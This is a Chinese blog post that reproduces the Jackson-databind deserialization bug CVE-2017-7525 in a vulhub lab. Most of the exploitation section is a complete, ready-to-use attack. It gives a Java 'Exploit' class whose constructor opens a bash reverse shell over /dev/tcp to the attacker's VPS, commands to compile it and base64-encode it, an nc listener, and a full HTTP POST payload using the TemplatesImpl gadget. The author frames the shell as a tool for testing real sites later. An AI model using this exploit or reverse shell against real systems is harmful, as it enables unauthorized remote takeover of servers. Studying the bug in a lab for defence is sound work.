1. 程式人生 > 其它 >漏洞復現-CVE-2017-7525-Jackson遠端程式碼執行

漏洞復現-CVE-2017-7525-Jackson遠端程式碼執行

0x00 實驗環境

攻擊機:Win 10

靶場:docker拉的vulhub靶場

0x01 影響版本

FasterXML Jackson-databind < 2.6.7.1
FasterXML Jackson-databind < 2.7.9.1
FasterXML Jackson-databind < 2.8.9

0x02 漏洞復現

(1)訪問存在的漏洞頁面,漏洞環境是jackson2.8.8,內建的java環境是1.7,看文章說對jdk1.8就不再適用了,也不清楚是真是假:

直接訪問漏洞頁面是一個spring的預設報錯頁面:

很難知道這個站還使用了Jackson

(2)這個漏洞復現要從安裝java1.5

的環境說起,從現有的復現文章來看,基本都是隻能完成寫個txt文件的惡意攻擊,但是我怎麼會走尋常路呢,即然只是單純的復現漏洞,那就必須要getshell才行。為了方便自己以後測站,我寫明白一些,首先是安裝jdk1.5的環境。到下面這個連結下載jdk1.5:

https://www.oracle.com/java/technologies/java-archive-javase5-downloads.html

下載時需要登入自己的Oracle賬號,這裡沒有的話就註冊一下就好。

(3)先給這個bin文件賦予更高的許可權:

chmod 755 jdk-1_5_0_22-linux-amd64.bin

(4)執行安裝jdk1.5

,執行完成將會在你執行的當前目錄下生成一個目錄 “jdk1.5.0_22”:

sudo -s ./jdk-1_5_0_22-linux-amd64.bin

(5)然後是常規的,將jdk1.5新增到系統環境變數,開啟java.sh,然後編輯,在java.sh中加入你上述看到的jdk1.5.0.22的目錄,按照自己的實際目錄來修改java.sh

sudo vim /etc/profile.d/java.sh
#set java environment
export JAVA_HOME=/root/jdk1.5.0_22
export CLASSPATH=.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib
export PATH
=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH

(6)重啟伺服器:

reboot

(7)當你再次開啟伺服器時就會發現java的環境已經變成了jdk1.5:

(8)接下來進入編譯Exploit.java檔案的環境,需要將惡意攻擊的指令碼編譯成.class檔案,將如下.java檔案複製並儲存為Exploit.java(懂java的都知道,類的名字需要與檔名一致,否則編譯的時候會報錯),當然你也可以修改這個類名:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Exploit extends AbstractTranslet {


    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }


    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public Exploit() throws IOException {
        try {
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/xx.xx.xx.xx/8761 0>&1"};
            Process p = Runtime.getRuntime().exec(commands);
            p.waitFor();
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws IOException {
        Exploit helloworld = new Exploit();
    }
}

(9)將Exploit.java上傳至你的vps,在jdk1.5的環境下進行編譯(在編譯前不要忘記了,/dev/tcp/xx.xx.xx.xx/8761,這裡是需要把xx.xx.xx.xx更換為你vps的監聽埠的,不然是無法實現命令執行的,懂的都懂),這就是上面到(7)為止的作用:

(10)最後一步,將生成的Exploit.class編碼為base64,這個也不用擔心,我已經搜到命令了,直接執行以下命令即可生成base64的payload:

javac Exploit.java; cat Exploit.class | base64 -w 0 | xargs

(11)在自己的vps上開啟監聽:

nc -lvp 8761

(12)最後一步,也就是所有千篇一律的使用payload進行發包操作:

POST /exploit HTTP/1.1
Host:xx.xx.xx.xx:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 1864

{
  "param": [
    "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    {
      "transletBytecodes": [
  "將base64編碼好的payload放進來"
      ],
      "transletName": "a.b",
      "outputProperties": {}
    }
  ]
}

然後即可獲取到肉雞的shell:

0x03 漏洞原理

Jackson是一款基於Java平臺的開源資料處理框架,可以方便的實現Jason物件和Java物件的相互轉換,很多Java應用都使用Jackson框架進行Jason物件處理。Jackson-databind是Jackson框架的核心庫之一。

Jackson-databind庫在ObjectMapper類readValue方法處理中存在一個反序列化漏洞,未授權的遠端攻擊者可以通過提交精心構造的惡意資料執行任意程式碼。

0x04 修復建議

1、升級到高版本

0x05 參考文獻

https://www.cnblogs.com/ABKing/p/13669401.html

https://blog.csdn.net/xuandao_ahfengren/article/details/106805679

https://www.nsfocus.com.cn/html/2017/39_0714/396.html

0x06 免責宣告

本漏洞復現文章僅用於學習、工作與興趣愛好,並立志為網路安全奉獻一份力量,凡是利用本部落格相關內容的無良hackers造成的安全事故均與本人無關!